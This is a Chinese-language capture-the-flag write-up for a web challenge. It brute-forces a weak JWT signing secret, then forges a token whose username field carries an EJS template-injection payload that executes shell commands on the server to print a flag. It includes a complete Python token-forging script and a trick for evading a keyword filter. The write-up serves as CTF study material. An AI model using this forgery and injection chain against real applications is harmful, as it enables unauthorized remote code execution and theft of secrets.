2026-10-13-JWT

2026-10-13-JWT

十月 13, 2026

第 0 步 · 侦察 curl -s -i http://<目标>/ | head -40

结果:200,text/html,ETag 是 Express 风格;页面是”登录/注册”,只有”邮箱”一个字段,没有密码框。表单 action 指向 /login 和 /register。

第 1 步 · 注册一个账号,拿到 JWT curl -s -i -X POST http://<目标>/register -d “email=test@example.com”

返回 302,响应头里: Set-Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InRlc3RAZXhhbXBsZS5jb20iLCJ1c2VybmFtZSI6InVzZXJfZDM5...; HttpOnly

拿到 token。

第 2 步 · 解码 JWT,看 payload 结构 把 token 按 . 分成三段,中间那段 base64url 解码:

header: {“alg”:”HS256”,”typ”:”JWT”} payload: {“email”:”test@example.com”,”username”:”user_d883e99434fd”,”iat”:1791872187,”exp”:1792476987}

关键信息:

  1. 算法 HS256,密钥未知(下一步爆破)
  2. username 是自动生成的 “user_<随机hex>”,但它是 JWT 里的字段 → 可控(只要能伪造签名)

第 3 步 · 爆破 JWT 密钥 用常见弱密钥对 “header.payload” 做 HMAC-SHA256 重签,和原签名比对:

for s in secret password key jwt jwt_secret 123456 … : sig = base64url(hmac_sha256(s, “header.payload”)) if sig == 原始签名: 命中

命中结果:密钥 = secret(server.js 第11行硬编码 const JWT_SECRET = ‘secret’)

第 4 步 · 确认 SSTI 注入点 源码里(writeup 已给出): renderedUsername = ejs.render(String(currentUser.username), { user: currentUser, process });

username 被直接丢进 ejs.render,而且把 process 对象传进了模板作用域 → 可以 RCE。

第 5 步 · 伪造 JWT,username 塞 EJS 载荷 用密钥 secret 自签一个 token,username 设为:

<%= global.process.mainModule.require(‘child_process’).execSync(‘env | grep -i fl’).toString() %>

(题目过滤了 flag/key/sec 等关键词,用 env | grep -i fl 绕过,因为字符串里没有字面 “flag”)

完整伪造脚本(Python):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import json, base64, hmac, hashlib, time, urllib.request
SECRET = "secret"
B = "http://<目标>"
def b64url(s): return base64.urlsafe_b64encode(s).rstrip(b'=').decode()
def make(p):
h = b64url(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
b = b64url(json.dumps(p).encode())
m = (h+"."+b).encode()
s = b64url(hmac.new(SECRET.encode(), m, hashlib.sha256).digest())
return h+"."+b+"."+s
now = int(time.time())
payload = "<%= global.process.mainModule.require('child_process').execSync('env | grep -i fl').toString() %>"
tok = make({"email":"admin@infinite.sky","username":payload,"iat":now,"exp":now+3600})
req = urllib.request.Request(B+"/", headers={"Cookie":"token="+tok})
print(urllib.request.urlopen(req, timeout=20).read().decode())

第 6 步 · 读 flag 返回页面里”欢迎,”后面直接吐出环境变量:

欢迎,FLAG=SYC{LMAO}